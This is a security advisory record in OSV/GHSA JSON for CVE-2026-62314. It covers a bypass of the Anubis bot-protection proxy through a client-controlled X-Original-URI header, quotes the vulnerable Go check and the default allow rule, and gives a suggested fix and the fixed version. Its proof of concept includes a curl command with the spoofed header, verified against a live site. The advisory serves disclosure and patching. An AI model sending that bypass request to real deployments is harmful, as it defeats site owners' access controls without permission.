CVE-2026-62314: Anubis Policy Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6wcg-mqvh-fcvg",
  "modified" : "2026-10-02T18:22:08Z",
  "published" : "2026-10-02T18:22:08Z",
  "aliases" : [ "CVE-2026-62314" ],
  "summary" : "Anubis: Policy bypass via client controlled X-Original-URI header",
  "details" : "Any HTTP client can bypass Anubis bot protection on the default configuration by adding a single request header. No challenge needs to be solved.\nAffected versions: v1.22.0 through v1.25.0 (introduced in commit d1d631a, PR #1015)\n\nThe root cause is in `lib/policy/checker.go`, `PathChecker.Check()`:\n```go\nfunc (pc *PathChecker) Check(r *http.Request) (bool, error) {\n    originalUrl := r.Header.Get(\"X-Original-URI\")\n    if originalUrl != \"\" {\n        if pc.regexp.MatchString(originalUrl) {\n            return true, nil\n        }\n    }\n    if pc.regexp.MatchString(r.URL.Path) {\n        return true, nil\n    }\n    return false, nil\n}\n```\n\nThe header value comes directly from the client request. The middleware chain never strips it. In reverse proxy mode an attacker fully controls it.\nThe default policy imports `data/common/keep-internet-working.yaml`, which contains path-only ALLOW rules with no other conditions:\n\n```yaml\n- name: well-known\n  path_regex: ^/\\.well-known/.*$\n  action: ALLOW\n```\n\nWhen `X-Original-URI` matches one of those regexes, the rule fires as ALLOW and the request is forwarded upstream without any challenge or JWT check.\n\n\n# Proof of concept\n\nNormal request, gets challenged:\n```\ncurl -s https://anubis.techaro.lol/ | grep -o \"<title>.*</title>\"\n```\n\nBypass, gets upstream content:\n```\ncurl -s -H \"X-Original-URI: /.well-known/x\" https://anubis.techaro.lol/ | grep -o \"<title>.*</title>\"\n```\n\nThe first command returns the Anubis challenge page title. The second returns the real site title directly, with no cookie set and no challenge issued. Verified live against anubis.techaro.lol.\n\n# Suggested fix\nThe fix should probably be to strip the header from incoming client requests in the middleware chain before policy evaluation. In `auth_request` mode the header is set by the proxy after Anubis processes the middleware, so stripping it at ingress does not break that deployment mode.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/TecharoHQ/anubis"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.22.0"
      }, {
        "fixed" : "1.26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/TecharoHQ/anubis/security/advisories/GHSA-6wcg-mqvh-fcvg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62314"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/TecharoHQ/anubis/pull/1630"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/TecharoHQ/anubis/commit/276b537776b281b1c4e01421435bc03ade3d8fc4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/TecharoHQ/anubis"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/TecharoHQ/anubis/releases/tag/v1.26.0-pre1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T18:22:08Z",
    "nvd_published_at" : "2026-07-15T22:17:38Z"
  }
}